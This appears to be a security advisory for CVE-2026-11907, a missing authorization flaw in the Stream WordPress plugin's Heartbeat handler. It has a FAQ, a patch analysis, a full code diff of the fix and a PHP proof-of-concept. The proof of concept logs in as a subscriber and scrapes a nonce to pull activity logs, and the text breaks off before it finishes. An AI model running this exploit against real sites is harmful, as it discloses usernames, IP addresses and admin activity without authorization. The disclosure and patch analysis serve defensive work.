What is CVE-2026-11907?

CVE-2026-11907 is a missing authorization vulnerability in the Stream plugin for WordPress, affecting versions up to and including 4.2.0. It allows authenticated users with subscriber-level access to view sensitive activity records via the Heartbeat API. The issue is fixed in version 4.2.1.

How does the vulnerability work?

The Stream plugin’s Live_Update class fails to check if the current user has the required capability (view_cap, typically manage_options) before processing Heartbeat API requests. An attacker can send a heartbeat request with the wp-stream-heartbeat parameter set to live-update, and the plugin returns the full activity log, including admin actions and user details.

Who is affected by this vulnerability?

Any WordPress site running Stream plugin version 4.2.0 or earlier is affected. The vulnerability can be exploited by any authenticated user with subscriber-level access or higher, meaning even the lowest-privileged accounts can access sensitive data.

How can I check if my site is vulnerable?

Check the Stream plugin version in your WordPress admin under Plugins. If it is 4.2.0 or lower, your site is vulnerable. You can also verify by attempting to access the activity log as a subscriber user, but it is safer to update immediately.

What is the practical risk of this vulnerability?

The risk is information disclosure. An attacker can see the full audit trail, including usernames, IP addresses, and actions taken by admins. This can aid in further attacks, such as targeted phishing or privilege escalation, but it does not directly allow code execution or data modification.

How is the vulnerability fixed?

The fix in version 4.2.1 adds a capability check using current_user_can() in the live_update method. This ensures that only users with the view_cap capability can access the activity stream. The patch also includes minor code improvements, such as adding a missing text domain.

What should I do to mitigate the risk?

Update the Stream plugin to version 4.2.1 or later as soon as possible. If you cannot update immediately, consider disabling the Heartbeat API for non-admin users or restricting subscriber access to the admin area, though these are temporary measures.

Does the proof of concept require special tools?

The provided PoC uses standard PHP and cURL to log in as a subscriber and send a heartbeat request. It requires no special tools beyond a web server or command line with PHP and cURL. It demonstrates the ease of exploitation.

What information can be disclosed through this vulnerability?

The activity log contains details such as user logins, content changes, plugin activations, and IP addresses. This information can reveal admin usernames and site structure, which can be used for social engineering or targeted attacks.

Is this vulnerability actively exploited?

There is no public evidence of active exploitation at the time of disclosure. However, given the low complexity and the availability of a PoC, it is advisable to patch promptly to prevent potential attacks.

How does the CVSS score of 6.5 translate to real-world severity?

A CVSS score of 6.5 is considered medium severity. It indicates a moderate impact on confidentiality, with no impact on integrity or availability. The attack requires low privileges and no user interaction, making it relatively easy to exploit, but the damage is limited to information disclosure.

Where can I find more information about this vulnerability?

You can refer to the official WordPress plugin advisory, the CVE record, and the detailed analysis from Atomic Edge. The plugin’s changelog also provides information about the fix. Always ensure you are using the latest version of the plugin.

Published : August 6, 2026

CVE-2026-11907: Stream <= 4.2.0 Missing Authorization to Authenticated (Subscriber+) Sensitive Information Disclosure via Heartbeat API PoC, Patch Analysis & Rule

CVE ID CVE-2026-11907

Plugin stream

Severity Medium (CVSS 6.5)

CWE 862

Vulnerable Version 4.2.0

Patched Version 4.2.1

Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11907:

The Stream plugin up to version 4.2.0 contains a missing authorization vulnerability that allows authenticated users with subscriber-level access to read sensitive activity records through the WordPress Heartbeat API. The vulnerability stems from the absence of a capability check in the `stream_live_update` method of the `Live_Update` class. This flaw exposes a complete audit log of all admin and user actions, which can be leveraged by attackers to map the site’s structure, identify privileged users, and potentially escalate privileges.

Root Cause:
The vulnerable code resides in the `live_update` method of `stream/classes/class-live-update.php`. Prior to the patch, when a heartbeat request was received, the method immediately checked the user meta (with `get_user_meta( get_current_user_id(), $this->user_meta_key )`) and proceeded to process any `wp-stream-heartbeat` data. This bypassed the plugin’s intended authorization layer, which requires the `view_cap` capability (typically `manage_options`). The missing authorization check allowed any logged-in user, including subscribers, to query the activity stream by sending a heartbeat POST request with the `wp-stream-heartbeat` parameter set to `live-update`. The patched code adds a `current_user_can( $this->plugin->admin->view_cap )` check before processing, ensuring only authorized users can access the data.

Exploitation:
An attacker with a subscriber account can exploit this by sending a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `heartbeat`. The request must include a valid `_nonce` (the WordPress heartbeat nonce, which is available to all logged-in users) and a `data` array containing `wp-stream-heartbeat` set to `live-update`. The response will contain the full activity records, including details about user actions such as logins, content changes, and plugin modifications. This attack does not require any special WordPress nonce for the Stream plugin itself, only the standard heartbeat nonce, which is readily available in the admin page HTML for all authenticated users.

Patch Analysis:
The patch in `class-live-update.php` adds a capability check `current_user_can( $this->plugin->admin->view_cap )` at the beginning of the `live_update` method. If the current user lacks the capability, the method returns an empty response array, preventing any data leak. Additionally, the patch cleans up the user meta retrieval by adding `true` as the third argument to `get_user_meta()`, making the function call more explicit. This fix is minimal and inline with the plugin’s architecture, ensuring that only users with the `view_cap` (admin-level) can access the activity stream.

Impact:
Successful exploitation allows subscriber-level users to access the entire Stream activity log. This log contains sensitive information such as IP addresses, user names, user roles, and a history of actions performed on the site (e.g., post edits, plugin changes, user logins). While the CVSS score is 6.5 (medium), the disclosure of internal data can aid attackers in further targeting, such as identifying admin usernames or understanding the site’s configuration. In a multi-site or high-security environment, this information disclosure could be the first step in a more severe compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/stream/alerts/class-alert-type-highlight.php
+++ b/stream/alerts/class-alert-type-highlight.php
@@ -281,6 +281,10 @@
 	public function ajax_remove_highlight() {
 		check_ajax_referer( self::REMOVE_ACTION_NONCE, 'security' );

+		if ( ! current_user_can( $this->plugin->admin->view_cap ) ) {
+			wp_send_json_error( __( 'You do not have permission to do this.', 'stream' ) );
+		}
+
 		$failure_message = __( 'Removing Highlight Failed', 'stream' );

 		if ( empty( $_POST['recordId'] ) ) {
--- a/stream/alerts/class-alert-type-ifttt.php
+++ b/stream/alerts/class-alert-type-ifttt.php
@@ -209,7 +209,7 @@
 			$recordarr,
 			array(
 				/* translators: %s: the Event Name of the Alert (e.g. "Update a post") */
-				'summary' => sprintf( __( 'The event %s was triggered' ), $alert->alert_meta['event_name'] ),
+				'summary' => sprintf( __( 'The event %s was triggered', 'stream' ), $alert->alert_meta['event_name'] ),
 				'user_id' => get_current_user_id(),
 				'created' => current_time( 'Y-m-d H:i:s' ),
 				// Blog's local time.
--- a/stream/build/admin-exclude.asset.php
+++ b/stream/build/admin-exclude.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery'), 'version' => '411dfe926318ae20ef82');
+<?php return array('dependencies' => array('jquery'), 'version' => 'e49dd106802784284396');
--- a/stream/build/alerts.asset.php
+++ b/stream/build/alerts.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery'), 'version' => '05be0368db160c353496');
+<?php return array('dependencies' => array('jquery'), 'version' => '86ad7dfdea3b20c95239');
--- a/stream/classes/class-admin.php
+++ b/stream/classes/class-admin.php
@@ -504,20 +504,27 @@
 				'admin-exclude',
 				array(
 					$this->plugin->with_select2(),
+				),
+				array(
+					'getActionsNonce' => wp_create_nonce( 'stream_get_actions' ),
 				)
 			);

+			$current_order = isset( $_GET['order'] ) ? sanitize_key( wp_unslash( $_GET['order'] ) ) : 'desc'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			if ( ! in_array( $current_order, array( 'asc', 'desc' ), true ) ) {
+				$current_order = 'desc';
+			}
+			$current_query = map_deep( wp_unslash( $_GET ), 'sanitize_text_field' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+
 			$this->plugin->enqueue_asset(
 				'live-updates',
 				array( 'heartbeat' ),
 				array(
 					'current_screen'      => $hook,
 					'current_page'        => isset( $_GET['paged'] ) ? absint( wp_unslash( $_GET['paged'] ) ) : '1', // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-					'current_order'       => isset( $_GET['order'] ) && in_array( strtolower( $_GET['order'] ), array( 'asc', 'desc' ), true ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-						? esc_js( $_GET['order'] ) // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-						: 'desc',
-					'current_query'       => wp_json_encode( $_GET ), // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-					'current_query_count' => count( $_GET ), // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+					'current_order'       => $current_order,
+					'current_query'       => wp_json_encode( $current_query ),
+					'current_query_count' => count( $current_query ),
 				)
 			);
 		}
@@ -660,6 +667,12 @@
 			);
 		}

+		// Ensure the database tables exist before attempting to clear records.
+		// Install::check() short-circuits on DOING_AJAX, so call install()
+		// directly. dbDelta is idempotent and safe to run when tables already
+		// exist.
+		$this->plugin->install->install( $this->plugin->get_version() );
+
 		$this->erase_stream_records();

 		if ( defined( 'WP_STREAM_TESTS' ) && WP_STREAM_TESTS ) {
@@ -1379,7 +1392,7 @@
 			);
 		}

-		$links[] = sprintf( '<a href="%s">%s</a>', esc_url( $admin_page_url ), esc_html__( 'Settings', 'default' ) );
+		$links[] = sprintf( '<a href="%s">%s</a>', esc_url( $admin_page_url ), esc_html__( 'Settings', 'stream' ) );

 		return $links;
 	}
--- a/stream/classes/class-alerts-list.php
+++ b/stream/classes/class-alerts-list.php
@@ -284,7 +284,7 @@
 			$nonce_url = wp_nonce_url( $bare_url, 'trash-post_' . $post_id );
 			?>
 			<div class="row-actions">
-				<span class="inline hide-if-no-js"><a href="#" class="editinline" aria-label="Quick edit “Hello world!” inline"><?php esc_html_e( 'Edit' ); ?></a> | </span>
+				<span class="inline hide-if-no-js"><a href="#" class="editinline" aria-label="Quick edit “Hello world!” inline"><?php esc_html_e( 'Edit', 'stream' ); ?></a> | </span>
 				<span class="trash">
 					<a href="<?php echo esc_url( $nonce_url ); ?>" class="submitdelete"><?php esc_html_e( 'Trash', 'stream' ); ?></a>
 				</span>
--- a/stream/classes/class-alerts.php
+++ b/stream/classes/class-alerts.php
@@ -327,8 +327,9 @@
 				'inline-edit-post',
 			),
 			array(
-				'any'        => __( 'Any', 'stream' ),
-				'anyContext' => __( 'Any Context', 'stream' ),
+				'any'             => __( 'Any', 'stream' ),
+				'anyContext'      => __( 'Any Context', 'stream' ),
+				'getActionsNonce' => wp_create_nonce( 'stream_get_actions' ),
 			)
 		);
 	}
@@ -363,6 +364,7 @@
 			'description'         => __( 'Alerts for Stream.', 'stream' ),
 			'public'              => false,
 			'publicly_queryable'  => false,
+			'rewrite'             => false,
 			'exclude_from_search' => true,
 			'show_ui'             => true,
 			'show_in_menu'        => false, // @see modify_admin_menu
@@ -721,7 +723,7 @@
 				</div>
 				<div id="publishing-action">
 					<span class="spinner"></span>
-					<?php submit_button( __( 'Save' ), 'primary button-large', 'publish', false ); ?>
+					<?php submit_button( __( 'Save', 'stream' ), 'primary button-large', 'publish', false ); ?>
 				</div>
 				<div class="clear"></div>
 			</div>
@@ -774,6 +776,16 @@
 	 * Update actions dropdown options based on the connector selected.
 	 */
 	public function get_actions() {
+		if ( ! current_user_can( self::CAPABILITY ) ) {
+			wp_send_json_error(
+				array(
+					'message' => 'You do not have permission to do this.',
+				)
+			);
+		}
+
+		check_ajax_referer( 'stream_get_actions', 'nonce' );
+
 		$connector_name    = wp_stream_filter_input( INPUT_POST, 'connector' );
 		$stream_connectors = wp_stream_get_instance()->connectors;
 		if ( ! empty( $connector_name ) ) {
--- a/stream/classes/class-cli.php
+++ b/stream/classes/class-cli.php
@@ -124,7 +124,9 @@
 			$query_args[ $key ] = $value;
 		}

-		$query_args['fields'] = implode( ',', $fields );
+		// Pass fields as an array so the query builder can validate each
+		// column against its allowlist (column names cannot be prepared).
+		$query_args['fields'] = $fields;

 		$records = wp_stream_get_instance()->db->query( $query_args );

--- a/stream/classes/class-db-driver-wpdb.php
+++ b/stream/classes/class-db-driver-wpdb.php
@@ -138,6 +138,10 @@
 	 */
 	public function get_column_values( $column ) {
 		global $wpdb;
+		if ( ! in_array( $column, Query::ALLOWED_FIELDS, true ) ) {
+			return array();
+		}
+
 		return (array) $wpdb->get_results(
 			"SELECT DISTINCT $column FROM $wpdb->stream", // @codingStandardsIgnoreLine can't prepare column name
 			'ARRAY_A'
--- a/stream/classes/class-export.php
+++ b/stream/classes/class-export.php
@@ -46,6 +46,12 @@
 	 * @return void
 	 */
 	public function render_download() {
+		// Records are only viewable by users with the Stream view capability;
+		// don't rely on the nonce alone for authorization.
+		if ( ! current_user_can( $this->plugin->admin->view_cap ) ) {
+			return;
+		}
+
 		$nonce = wp_stream_filter_input( INPUT_GET, 'stream_record_actions_nonce' );
 		if ( ! wp_verify_nonce( $nonce, 'stream_record_actions_nonce' ) ) {
 			return;
--- a/stream/classes/class-install.php
+++ b/stream/classes/class-install.php
@@ -102,8 +102,12 @@
 		}

 		$update = null;
-		if ( isset( $_REQUEST['wp_stream_update'] ) && wp_verify_nonce( 'wp_stream_update_db' ) ) {
-			$update = esc_attr( $_REQUEST['wp_stream_update'] );
+		if (
+			isset( $_REQUEST['wp_stream_update'], $_REQUEST['_wpnonce'] )
+			&&
+			wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ), 'wp_stream_update_db' )
+		) {
+			$update = sanitize_key( wp_unslash( $_REQUEST['wp_stream_update'] ) );
 		}

 		if ( ! $update ) {
@@ -221,8 +225,12 @@
 		}

 		$update = null;
-		if ( isset( $_REQUEST['wp_stream_update'] ) && wp_verify_nonce( 'wp_stream_update_db' ) ) {
-			$update = esc_attr( $_REQUEST['wp_stream_update'] );
+		if (
+			isset( $_REQUEST['wp_stream_update'], $_REQUEST['_wpnonce'] )
+			&&
+			wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ), 'wp_stream_update_db' )
+		) {
+			$update = sanitize_key( wp_unslash( $_REQUEST['wp_stream_update'] ) );
 		}

 		if ( ! $update ) {
--- a/stream/classes/class-list-table.php
+++ b/stream/classes/class-list-table.php
@@ -776,7 +776,8 @@
 		$query_vars = array();

 		if ( isset( $_SERVER['QUERY_STRING'] ) ) {
-			parse_str( urldecode( $_SERVER['QUERY_STRING'] ), $query_vars );
+			parse_str( wp_unslash( $_SERVER['QUERY_STRING'] ), $query_vars );
+			$query_vars = map_deep( $query_vars, 'sanitize_text_field' );
 		}

 		// Ignore certain query vars and query vars that are empty.
@@ -911,7 +912,7 @@
 				<input type="submit" name="" id="search-submit" class="button" value="%3$s" />
 			</p>',
 			esc_html__( 'Search Records', 'stream' ),
-			esc_attr( ! empty( $_GET['search'] ) ? $_GET['search'] : '' ), // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			esc_attr( ! empty( $_GET['search'] ) ? sanitize_text_field( wp_unslash( $_GET['search'] ) ) : '' ), // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 			esc_attr__( 'Search Records', 'stream' )
 		);
 	}
--- a/stream/classes/class-live-update.php
+++ b/stream/classes/class-live-update.php
@@ -183,7 +183,13 @@
 			return $response;
 		}

-		$enable_stream_update = ( 'off' !== get_user_meta( get_current_user_id(), $this->user_meta_key ) );
+		// Ensure the current user is allowed to view Stream records before
+		// exposing any activity data through the Heartbeat API.
+		if ( ! current_user_can( $this->plugin->admin->view_cap ) ) {
+			return $response;
+		}
+
+		$enable_stream_update = ( 'off' !== get_user_meta( get_current_user_id(), $this->user_meta_key, true ) );

 		// Register list table.
 		$this->list_table = new List_Table(
@@ -200,7 +206,7 @@
 		if ( isset( $data['wp-stream-heartbeat'] ) && isset( $total_items ) ) {
 			$response['total_items'] = $total_items;
 			/* translators: %d: number of items (e.g. "42") */
-			$response['total_items_i18n'] = sprintf( _n( '%d item', '%d items', $total_items ), number_format_i18n( $total_items ) );
+			$response['total_items_i18n'] = sprintf( _n( '%d item', '%d items', $total_items, 'stream' ), number_format_i18n( $total_items ) );
 		}

 		if ( isset( $data['wp-stream-heartbeat'] ) && 'live-update' === $data['wp-stream-heartbeat'] && $enable_stream_update ) {
--- a/stream/classes/class-log.php
+++ b/stream/classes/class-log.php
@@ -303,7 +303,7 @@
 	 */
 	public function debug_backtrace( $recordarr ) {
 		if ( version_compare( PHP_VERSION, '5.3.6', '<' ) ) {
-			return __( 'Debug backtrace requires at least PHP 5.3.6', 'wp_stream' );
+			return __( 'Debug backtrace requires at least PHP 5.3.6', 'stream' );
 		}

 		// Record details.
--- a/stream/classes/class-network.php
+++ b/stream/classes/class-network.php
@@ -84,12 +84,14 @@
 	 * @see https://core.trac.wordpress.org/ticket/22589
 	 */
 	public function ajax_network_admin() {
+		$http_referer = isset( $_SERVER['HTTP_REFERER'] ) ? esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) : '';
+
 		if (
 			defined( 'DOING_AJAX' )
 			&&
 			DOING_AJAX
 			&&
-			preg_match( '#^' . network_admin_url() . '#i', $_SERVER['HTTP_REFERER'] )
+			0 === stripos( $http_referer, network_admin_url() )
 		) {
 			define( 'WP_NETWORK_ADMIN', true );
 			return WP_NETWORK_ADMIN;
@@ -348,7 +350,11 @@
 	public function network_options_action() {

 		// Check the nonce.
-		if ( empty( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], sprintf( '%s-options', $this->network_settings_option ) ) ) {
+		if (
+			empty( $_POST['_wpnonce'] )
+			||
+			! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), sprintf( '%s-options', $this->network_settings_option ) )
+		) {
 			return;
 		}

@@ -358,23 +364,25 @@
 		}

 		// Check the action.
-		if ( ! isset( $_GET['action'] ) || $this->network_settings_page_slug !== $_GET['action'] ) {
+		$action = isset( $_GET['action'] ) ? sanitize_key( wp_unslash( $_GET['action'] ) ) : '';
+		if ( $this->network_settings_page_slug !== $action ) {
 			return;
 		}

-		$option = ! empty( $_POST['option_page'] ) ? $_POST['option_page'] : false;
+		$option = ! empty( $_POST['option_page'] ) ? sanitize_key( wp_unslash( $_POST['option_page'] ) ) : false;

 		if ( $option && $this->network_settings_option === $option ) {

-			$value    = array();
-			$sections = $this->plugin->settings->get_fields();
+			$value          = array();
+			$posted_options = isset( $_POST[ $option ] ) && is_array( $_POST[ $option ] ) ? wp_unslash( $_POST[ $option ] ) : array();
+			$sections       = $this->plugin->settings->get_fields();

 			foreach ( $sections as $section_name => $section ) {
 				foreach ( $section['fields'] as $field_idx => $field ) {
 					$option_key = $section_name . '_' . $field['name'];

-					if ( isset( $_POST[ $option ][ $option_key ] ) ) {
-						$value[ $option_key ] = $this->plugin->settings->sanitize_setting_by_field_type( $_POST[ $option ][ $option_key ], $field['type'] );
+					if ( isset( $posted_options[ $option_key ] ) ) {
+						$value[ $option_key ] = $this->plugin->settings->sanitize_setting_by_field_type( $posted_options[ $option_key ], $field['type'] );
 					} else {
 						$value[ $option_key ] = false;
 					}
--- a/stream/classes/class-plugin.php
+++ b/stream/classes/class-plugin.php
@@ -20,7 +20,7 @@
 	 *
 	 * @const string
 	 */
-	const VERSION = '4.2.0';
+	const VERSION = '4.2.1';

 	/**
 	 * WP-CLI command
--- a/stream/classes/class-query.php
+++ b/stream/classes/class-query.php
@@ -11,6 +11,8 @@
  * Class - Query
  */
 class Query {
+	const ALLOWED_FIELDS = array( 'ID', 'site_id', 'blog_id', 'object_id', 'user_id', 'user_role', 'created', 'summary', 'connector', 'context', 'action', 'ip' );
+
 	/**
 	 * Hold the number of records found
 	 *
@@ -58,8 +60,7 @@
 			$field = ! empty( $args['search_field'] ) ? $args['search_field'] : 'summary';

 			// Sanitize field.
-			$allowed_fields = array( 'ID', 'site_id', 'blog_id', 'object_id', 'user_id', 'user_role', 'created', 'summary', 'connector', 'context', 'action', 'ip' );
-			if ( in_array( $field, $allowed_fields, true ) ) {
+			if ( in_array( $field, self::ALLOWED_FIELDS, true ) ) {
 				$where .= $wpdb->prepare( " AND $wpdb->stream.{$field} LIKE %s", "%{$args['search']}%" ); // @codingStandardsIgnoreLine can't prepare column name
 			}
 		}
@@ -206,6 +207,9 @@
 		$fields  = (array) $args['fields'];
 		$selects = array();

+		// Column names cannot be passed through $wpdb->prepare(), so restrict
+		// the selectable fields to a known allowlist to prevent SQL injection
+		// via the `fields` argument.
 		if ( ! empty( $fields ) ) {
 			foreach ( $fields as $field ) {
 				// We'll query the meta table later.
@@ -213,9 +217,15 @@
 					continue;
 				}

+				if ( ! in_array( $field, self::ALLOWED_FIELDS, true ) ) {
+					continue;
+				}
+
 				$selects[] = sprintf( "$wpdb->stream.%s", $field );
 			}
-		} else {
+		}
+
+		if ( empty( $selects ) ) {
 			$selects[] = "$wpdb->stream.*";
 		}

--- a/stream/classes/class-settings.php
+++ b/stream/classes/class-settings.php
@@ -112,7 +112,7 @@
 		$search = '';
 		$input  = wp_stream_filter_input( INPUT_POST, 'find' );

-		if ( ! isset( $input['term'] ) ) {
+		if ( isset( $input['term'] ) ) {
 			$search = wp_unslash( trim( $input['term'] ) );
 		}

--- a/stream/connectors/class-connector-blogs.php
+++ b/stream/connectors/class-connector-blogs.php
@@ -54,7 +54,7 @@
 	 * @return string
 	 */
 	public function get_label() {
-		return esc_html__( 'Sites' );
+		return esc_html__( 'Sites', 'stream' );
 	}

 	/**
@@ -103,13 +103,13 @@
 	 * @return array
 	 */
 	public function action_links( $links, $record ) {
-		$links [ esc_html__( 'Site Admin' ) ] = get_admin_url( $record->object_id );
+		$links [ esc_html__( 'Site Admin', 'stream' ) ] = get_admin_url( $record->object_id );

 		if ( $record->object_id ) {
 			$site_admin_link = get_admin_url( $record->object_id );

 			if ( $site_admin_link ) {
-				$links [ esc_html__( 'Site Admin' ) ] = $site_admin_link;
+				$links [ esc_html__( 'Site Admin', 'stream' ) ] = $site_admin_link;
 			}

 			$site_settings_link = add_query_arg(
--- a/stream/connectors/class-connector-edd.php
+++ b/stream/connectors/class-connector-edd.php
@@ -161,7 +161,8 @@
 			$posts_connector = new Connector_Posts();
 			$links           = $posts_connector->action_links( $links, $record );
 		} elseif ( in_array( $record->context, array( 'discounts' ), true ) ) {
-			$post_type_label = get_post_type_labels( get_post_type_object( 'edd_discount' ) )->singular_name;
+			$post_type       = get_post_type_object( 'edd_discount' );
+			$post_type_label = $post_type ? $post_type->labels->singular_name : esc_html__( 'Discount', 'stream' );
 			$base            = admin_url( 'edit.php?post_type=download&page=edd-discounts' );

 			/* translators: %s: a post type (e.g. "Post") */
--- a/stream/connectors/class-connector-mercator.php
+++ b/stream/connectors/class-connector-mercator.php
@@ -43,7 +43,7 @@
 	 * @return string
 	 */
 	public function get_label() {
-		return esc_html__( 'Mercator' );
+		return esc_html__( 'Mercator', 'stream' );
 	}

 	/**
@@ -92,13 +92,13 @@
 	 * @return array
 	 */
 	public function action_links( $links, $record ) {
-		$links [ esc_html__( 'Site Admin' ) ] = get_admin_url( $record->object_id );
+		$links [ esc_html__( 'Site Admin', 'stream' ) ] = get_admin_url( $record->object_id );

 		if ( $record->object_id ) {
 			$site_admin_link = get_admin_url( $record->object_id );

 			if ( $site_admin_link ) {
-				$links [ esc_html__( 'Site Admin' ) ] = $site_admin_link;
+				$links [ esc_html__( 'Site Admin', 'stream' ) ] = $site_admin_link;
 			}

 			$site_settings_link = add_query_arg(
--- a/stream/connectors/class-connector-two-factor.php
+++ b/stream/connectors/class-connector-two-factor.php
@@ -325,7 +325,7 @@
 	 * @param WP_Error $error WP_Error object.
 	 */
 	public function callback_wp_login_failed( $user_login, $error ) {
-		if ( ! str_starts_with( $error->get_error_code(), 'two_factor_' ) ) {
+		if ( 0 !== strpos( $error->get_error_code(), 'two_factor_' ) ) {
 			return;
 		}

--- a/stream/includes/db-updates.php
+++ b/stream/includes/db-updates.php
@@ -5,6 +5,10 @@
  * @package WP_Stream
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Version 3.0.8
  *
--- a/stream/includes/feeds/atom.php
+++ b/stream/includes/feeds/atom.php
@@ -5,6 +5,10 @@
  * @package WP_Stream
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 header( 'Content-Type: ' . feed_content_type( 'atom' ) . '; charset=' . get_option( 'blog_charset' ), true );
 printf( '<?xml version="1.0" encoding="%s"?>', esc_attr( get_option( 'blog_charset' ) ) );
 ?>
--- a/stream/includes/feeds/json.php
+++ b/stream/includes/feeds/json.php
@@ -7,5 +7,9 @@
  * @var $records
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 header( 'Content-type: application/json; charset=' . get_option( 'blog_charset' ), true );
 echo wp_json_encode( $records, JSON_PRETTY_PRINT );
--- a/stream/includes/feeds/rss-2.0.php
+++ b/stream/includes/feeds/rss-2.0.php
@@ -5,6 +5,10 @@
  * @package WP_Stream
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 header( 'Content-Type: ' . feed_content_type( 'rss-http' ) . '; charset=' . get_option( 'blog_charset' ), true );
 printf( '<?xml version="1.0" encoding="%s"?>', esc_attr( get_option( 'blog_charset' ) ) );
 ?>
--- a/stream/includes/functions.php
+++ b/stream/includes/functions.php
@@ -5,6 +5,10 @@
  * @package WP_Stream
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Gets a specific external variable by name and optionally filters it.
  *
--- a/stream/stream.php
+++ b/stream/stream.php
@@ -3,7 +3,7 @@
  * Plugin Name: Stream
  * Plugin URI: https://xwp.co/work/stream/
  * Description: Stream tracks logged-in user activity so you can monitor every change made on your WordPress site in beautifully organized detail. All activity is organized by context, action and IP address for easy filtering. Developers can extend Stream with custom connectors to log any kind of action.
- * Version: 4.2.0
+ * Version: 4.2.1
  * Author: XWP
  * Author URI: https://xwp.co
  * License: GPLv2+
@@ -34,6 +34,10 @@
 /**
  * Configuration Constants
  */
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 if ( ! defined( 'WP_STREAM_SETTINGS_CAPABILITY' ) ) {
 	define( 'WP_STREAM_SETTINGS_CAPABILITY', 'manage_options' );
 }
--- a/stream/vendor/composer/installed.php
+++ b/stream/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'xwp/stream',
-        'pretty_version' => 'v4.2.0',
-        'version' => '4.2.0.0',
-        'reference' => 'e47dc0839ad5955a94d87023d4eb9a5c414e2bde',
+        'pretty_version' => 'v4.2.1',
+        'version' => '4.2.1.0',
+        'reference' => 'b7086d26031274263ea143849911f2695efd180a',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'xwp/stream' => array(
-            'pretty_version' => 'v4.2.0',
-            'version' => '4.2.0.0',
-            'reference' => 'e47dc0839ad5955a94d87023d4eb9a5c414e2bde',
+            'pretty_version' => 'v4.2.1',
+            'version' => '4.2.1.0',
+            'reference' => 'b7086d26031274263ea143849911f2695efd180a',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11907 - Stream <= 4.2.0 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Disclosure via Heartbeat API

// This PoC demonstrates how a subscriber-level user can retrieve Stream activity records
// through the WordPress Heartbeat API, bypassing authorization.

$target_url = 'https://example.com';
$username = 'subscriber_user';
$password = 'subscriber_password';

// Step 1: Login to obtain nonces
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1',
);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Verify login success (location header should be wp-admin)
if (strpos($response, 'wp-admin') === false) {
    die('Login failed.');
}

// Step 2: Fetch the admin page to extract the heartbeat nonce
$admin_url = $target_url . '/wp-admin/admin-ajax.php?action=heartbeat';
$ch = curl_init($admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$admin_page = curl_exec($ch);
// The nonce is typically in a script tag; this is a simplified extraction.
// In a real exploit, parse the admin page for `heartbeat` nonce.
preg_match('/"heartbeat":"([a-f0-9]{10})"/', $admin_page, $matches);
if (empty($matches[1])) {
    // Fallback: try common nonce name
    $nonce = 'fallback_nonce';
} else {
    $nonce = $matches[1];
}
curl_close($ch);

// Step 3: Send heartbeat request with Stream live-update data
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    '_nonce' => $nonce,
    'action' => 'heartbeat',
    'data' => array(
